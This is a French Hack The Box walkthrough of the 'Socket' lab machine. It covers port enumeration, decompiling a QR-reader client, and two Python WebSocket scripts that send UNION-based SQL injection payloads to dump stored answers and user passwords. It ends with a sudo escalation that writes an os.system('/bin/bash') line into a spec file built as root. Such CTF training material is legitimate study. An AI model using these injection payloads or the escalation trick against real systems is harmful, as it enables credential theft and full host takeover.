Prise | Hack The Box Rédaction / Procédure pas à pas | Par Md Amiruddin

Apr 03 2023
Ceci est une description / procédure pas à pas de Hack the Box machine "Socket" par Md Amiruddin Machine Link : https://app.hackthebox.

Ceci est une description / procédure pas à pas de Hack the Box machine "Socket" par Md Amiruddin

Lien machine :https://app.hackthebox.com/machines/Socket

IP machine : 10.10.11.206

Énumération:

Résultat Nmap

sudo nmap -sV -sC -A 10.10.11.206

      
                

22 ports tcp ouverts pour ssh

80 port TCP ouvert pour http

Websocket sur le port 5789

faisons une analyse de vulnérabilité de websocket dans le port 5789 avec STEWS

python3 STEWS-vuln-detect.py -1 -n -u 10.10.11.206:5789

      
                

Site de navigation :

Ajoutez maintenant ce 10.10.11.206 qreader.htb à /etc/hosts

Accédez maintenant au site Web http://qreader.htb/ via votre navigateur.

Grâce à ce site Web, nous pouvons générer et scanner un code qr.

Nous pouvons également télécharger le logiciel pour Windows et Linux, téléchargeons le fichier .exe et décompilons-le à l'aide de pyinstxtractor .

python3 pyinstxtractor.py qreader.exe

      
                

pip3 install uncompyle6

uncompyle6 qreader.pyc > qreader.py

Créons un script python pour exploiter l'injection SQL trouvée dans le code source ci-dessus.

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.3" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

Écrivons un code pour imprimer le mot de passe de l'utilisateur.

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.3" UNION SELECT username,password,"3","4" from users;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

      
                

Il est maintenant temps de se connecter via ssh.

Copiez maintenant votre indicateur d'utilisateur.

Exécutez sudo -l pour voir toute commande que nous pouvons exécuter en tant que root sans mot de passe.

build-installer.sh peut être exécuté en tant que root sans mot de passe.

Commande utilisée

echo 'import os;os.system("/bin/bash")' > root.spec

sudo /usr/local/sbin/build-installer.sh build root.spec

      
                

Merci pour la lecture.